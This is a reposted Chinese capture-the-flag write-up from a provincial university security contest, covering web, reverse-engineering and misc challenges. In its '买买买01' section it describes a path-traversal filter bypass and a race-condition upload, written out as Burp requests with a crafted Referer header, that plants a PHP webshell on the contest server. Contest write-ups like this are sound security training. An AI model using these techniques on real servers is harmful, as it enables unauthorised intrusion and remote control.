我的编程空间,编程开发者的网络收藏夹
学习永远不晚

第五届浙江省大学生网络与信息安全竞赛预赛 部分WP

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

第五届浙江省大学生网络与信息安全竞赛预赛 部分WP

文章目录

Dijkstra

第五届浙江省大学生网络与信息安全竞赛-技能挑战赛

Web

nisc_easyweb

  1. 打开是phpinfo(),没有flag,访问http://1.14.97.218:23306/robots.txt,得到/api/record,访问,得到test_api.php,访问

  2. 查看源代码得到提示i=FlagInHere
    请添加图片描述

  3. 添加参数?i=FlagInHere,得到DASCTF{65452772580975224074792032861586}
    请添加图片描述

nisc_学校门户网站

首页进入学生系统http://1.14.97.218:22898/home/login/,注册后登录,即可得到DASCTF{34707721847849260569451324788283}
请添加图片描述

吃豆人吃豆魂

  1. 查看源代码在index.js中得到Base64

请添加图片描述
2. Base64解码得到DASCTF{f235b02382a223fda4ce2ec62148d94c}

买买买01

  1. 猜测img参数可以实现任意文件读取,发现过滤了…/
    请添加图片描述

  2. fuzz一下使用…//可以绕过,Base64解码即可得到源码。
    请添加图片描述

      $rootpath = '/var/www/html/';  $path = md5("compete" . $_SERVER['HTTP_REFERER']);  $sandbox = $rootpath . $path;  @mkdir($sandbox);  @chdir($sandbox);  function cop($filename)  {    copy($filename, $filename . "2.php");    rename($filename . "2.php", $filename);    echo "copy" . $filename . "success";  }  function read($filename)  {    $content = base64_encode(file_get_contents($filename));    echo '. $content . '"/>';  }  if(isset($_GET['action']) && $_GET['action'] === "copy")  {    $filename = $sandbox . "/" . $path . ".txt";    file_put_contents($filename, "compete" . $_SERVER['HTTP_REFERER']);    cop($filename);  }  else if(isset($_GET['action']) && $_GET['action'] === "read")  {    if(!isset($_GET['img']))    {      $filename = "maimaimai.jpg";    }    else {      $filename = str_replace("../", "", $_GET['img']);    }    $filename = $rootpath . "img/" . $filename;    read($filename);  }  else  {    header("Location: /index.php?action=read&img=maimaimai.jpg");  }?>
  3. 审计源码,发现action还可用copy,$_SERVER[‘HTTP_REFERER’]可控(即请求头中的Referer),生成的文件名后会加上2.php,但又会被重命名删去2.php,可以采用条件竞争的方式写马。

     fputs(fopen('shell.php','w'),'');?>

    Bp抓包

    GET /index.php?action=copy HTTP/1.1Host: 1.14.97.218:21715Referer: ');?>

    得到文件路径/var/www/html/3d3b75b32781ac19253077e70299fec7/3d3b75b32781ac19253077e70299fec7.txt

    使用Intruder模块,边上传写马文件,边访问

    GET /3d3b75b32781ac19253077e70299fec7/3d3b75b32781ac19253077e70299fec7.txt2.php HTTP/1.1Host: 1.14.97.218:21715

请添加图片描述
4. 稍等片刻,成功后即可访问写上去的马,使用蚁剑连接,得到flag
请添加图片描述

RE

ManyCheck

  1. 使用IDA打开分析,第一关结果为77
    请添加图片描述
  2. 第二关计算得到结果为55、49
    请添加图片描述
  3. 第三关编程计算得到1198089844
    请添加图片描述
    #include using namespace std;int calc(){return (1718896489 << (32 - 16)) | (1718896489 >> 16);}int main(){cout << calc();return 0;}
  4. 直接运行程序最后的结果会一闪而过,在cmd中运行即可得到DASCTF{M71_Gift_08L}
    在这里插入图片描述

MISC

好怪哦

  1. 解压得到fuck.zip发现无法正常打开,使用16进制编辑器打开发现文件被倒转

请添加图片描述

  1. 编写脚本进行倒序,得到正常的zip
f=open('fuck.zip','rb').read()m=open('flag.zip','wb')m.write(f[::-1])m.close()
  1. 解压得到flag.png,无法正常打开,发现缺少PNG文件头,补齐89 50 4E 47后可以打开,但缺少一半

  2. 修改大小后即可看到完整的flag
    请添加图片描述
    请添加图片描述

来源地址:https://blog.csdn.net/weixin_46356548/article/details/126912008

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

第五届浙江省大学生网络与信息安全竞赛预赛 部分WP

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录